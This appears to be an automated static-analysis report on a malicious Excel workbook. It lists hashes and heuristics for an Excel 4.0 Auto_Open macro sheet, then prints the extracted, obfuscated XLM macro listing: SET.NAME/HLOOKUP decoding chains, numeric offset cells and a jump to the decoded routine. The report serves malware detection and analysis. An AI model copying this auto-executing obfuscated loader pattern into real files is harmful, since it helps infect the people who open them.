Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27488d5e7158e554…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:20 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a450d72d996f5a6c5f9e16b91f75554e SHA-1: 1a4c612760dc6d2fa4f12ba5f0cea8b4e35e71ab SHA-256: 27488d5e7158e55401ffb70a875f90ffc7429bdb6f0a97e84e1102fef0758768
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6862 bytes
SHA-256: 9476cc98051a0a904668fd4d8784f74bf3c349e3ef983e3a1ecea986fd8fcc1d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ytkLmdeQxW
' 0018     26 LABEL : Cell Value, String Constant - AdrbegMzhyl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A159 
' 0018     27 LABEL : Cell Value, String Constant - cLbbeJqQEOdu len=0 
' 0018     22 LABEL : Cell Value, String Constant - EnhGFNU len=0 
' 0018     27 LABEL : Cell Value, String Constant - FfTWBGcxrJQv len=0 
' 0018     26 LABEL : Cell Value, String Constant - gLZkCGgrbOQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - HnDzEp len=0 
' 0018     22 LABEL : Cell Value, String Constant - jOwYPag len=0 
' 0018     27 LABEL : Cell Value, String Constant - JoZiaOoZrkpf len=0 
' 0018     22 LABEL : Cell Value, String Constant - MQvdYFd len=0 
' 0018     24 LABEL : Cell Value, String Constant - oDLgiIfgL len=0 
' 0018     25 LABEL : Cell Value, String Constant - ptsivlBVLR len=0 
' 0018     25 LABEL : Cell Value, String Constant - pYCzNCQLcm len=0 
' 0018     24 LABEL : Cell Value, String Constant - QxXHIXecL len=0 
' 0018     26 LABEL : Cell Value, String Constant - RWANdspXLWY len=0 
' 0018     26 LABEL : Cell Value, String Constant - SkIOGGeQCjM len=0 
' 0018     20 LABEL : Cell Value, String Constant - sVLVm len=0 
' 0018     20 LABEL : Cell Value, String Constant - vdvjC len=0 
' 0018     26 LABEL : Cell Value, String Constant - wtqwZOWxwOb len=0 
' 0018     21 LABEL : Cell Value, String Constant - xYSWFt len=0 
' 0018     26 LABEL : Cell Value, String Constant - zrAcJJQdCof len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ytkLmdeQxW,A63,"SET.NAME("wtqwZOWxwOb",0+VALUE("0"))",""
'  ytkLmdeQxW,A65,"SET.NAME("RWANdspXLWY",wtqwZOWxwOb)",""
'  ytkLmdeQxW,A70,"SET.NAME("HnDzEp",wtqwZOWxwOb)",""
'  ytkLmdeQxW,A75,"SET.NAME("SkIOGGeQCjM",COUNTA(vdvjC))",""
'  ytkLmdeQxW,A77,"SET.NAME("jOwYPag",COUNTA(FfTWBGcxrJQv))",""
'  ytkLmdeQxW,A82,[],""
'  ytkLmdeQxW,S83,"",-335.00000000000000000000
'  ytkLmdeQxW,S84,"",-97.00000000000000000000
'  ytkLmdeQxW,S85,"",53.00000000000000000000
'  ytkLmdeQxW,S86,"",-250.00000000000000000000
'  ytkLmdeQxW,A87,"SET.NAME("xYSWFt","")",""
'  ytkLmdeQxW,S87,"",-380.00000000000000000000
'  ytkLmdeQxW,S88,"",-552.00000000000000000000
'  ytkLmdeQxW,A91,"RWANdspXLWY",""
'  ytkLmdeQxW,A96,"SET.NAME("oDLgiIfgL",HLOOKUP("*",vdvjC,RWANdspXLWY,FALSE))",""
'  ytkLmdeQxW,A99,"QxXHIXecL",""
'  ytkLmdeQxW,A102,"SET.NAME("sVLVm",wtqwZOWxwOb)",""
'  ytkLmdeQxW,A106,[],""
'  ytkLmdeQxW,A109,"sVLVm",""
'  ytkLmdeQxW,A114,"MQvdYFd",""
'  ytkLmdeQxW,A116,"pYCzNCQLcm",""
'  ytkLmdeQxW,A118,"EnhGFNU",""
'  ytkLmdeQxW,A123,"SET.NAME("zrAcJJQdCof",VALUE(HLOOKUP("*",FfTWBGcxrJQv,EnhGFNU,FALSE)))",""
'  ytkLmdeQxW,A127,"AdrbegMzhyl",""
'  ytkLmdeQxW,A130,"xYSWFt",""
'  ytkLmdeQxW,A133,"HnDzEp",""
'  ytkLmdeQxW,A138,NEXT(),""
'  ytkLmdeQxW,A140,"cLbbeJqQEOdu",""
'  ytkLmdeQxW,A143,[],""
'  ytkLmdeQxW,A148,"ptsivlBVLR",""
'  ytkLmdeQxW,A153,NEXT(),""
'  ytkLmdeQxW,A155,RETURN(),""
'  ytkLmdeQxW,A181,"SET.NAME("gLZkCGgrbOQ",A63)",""
'  ytkLmdeQxW,A185,"vdvjC",""
'  ytkLmdeQxW,A189,"SET.NAME("FfTWBGcxrJQv",R79C11)",""
'  ytkLmdeQxW,A193,"SET.NAME("ptsivlBVLR",201)",""
'  ytkLmdeQxW,A198,"SET.NAME("JoZiaOoZrkpf",1)",""
'  ytkLmdeQxW,A200,gLZkCGgrbOQ(),""
'  ytkLmdeQxW,A201,HALT(),""

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